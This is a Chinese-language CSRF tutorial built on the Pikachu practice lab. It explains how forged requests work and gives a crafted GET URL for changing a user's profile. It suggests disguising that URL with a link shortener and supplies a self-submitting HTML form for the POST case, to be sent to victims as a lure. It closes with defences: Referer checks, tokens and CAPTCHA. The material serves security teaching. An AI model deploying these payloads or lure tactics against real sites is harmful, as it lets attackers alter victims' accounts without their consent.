跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个用户曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了Web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
通俗的讲就是:如果网站过滤不严格,攻击者可以欺骗浏览器登录登录别的网站。
攻击流程图:
对一些增删改查,购买之类的操作,抓包看看逻辑,是否可以或者不需要验证用户身份
比如:
抓包修改个人信息
发现修改的信息都在URL的参数里面,其中并不需要进行身份验证
我们可以构造一个恶意的URL链接:
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=666&email=hacker@qq.com&submit=submit
当然这样太明显了,我们可以把它写成一个短链接,也能触发。
http://g0p.cc/6n6jtL
短链接生成平台
https://tool.chinaz.com/tools/dwz.aspx
抓取修改信息的数据包
参数的提交采用POST类型,就无法构造url了,我们可以制作一个站点,诱惑目标点击,进而发送数据包。
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
把下面的链接发给用户
http://you-ip/post.html
用户只要点击进入页面就会触发提交数据包发送请求,直接修改用户的信息。
Referer字段存在于 HTTP请求头中,它记录了该 HTTP请求的来源地址。正常情况下请求的 Referer 值是请求发出所在页面的URL,当检测到 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。这是一种同源策略。
例如黑客要对银行网站实施 CSRF 攻击,他只能在他自己的服务器构造请求,当用户点击黑客的链接发送请求到银行时,该请求的 Referer 是指向黑客自己的网站,就会拒绝该请求。
Token介绍:
Token验证:
当进行一些敏感操作时,如修改密码、添加管理员等操作,可以通过增加网站的验证手段,例如增加图形验证码或短信验证码等,只有通过验证的请求才算合法。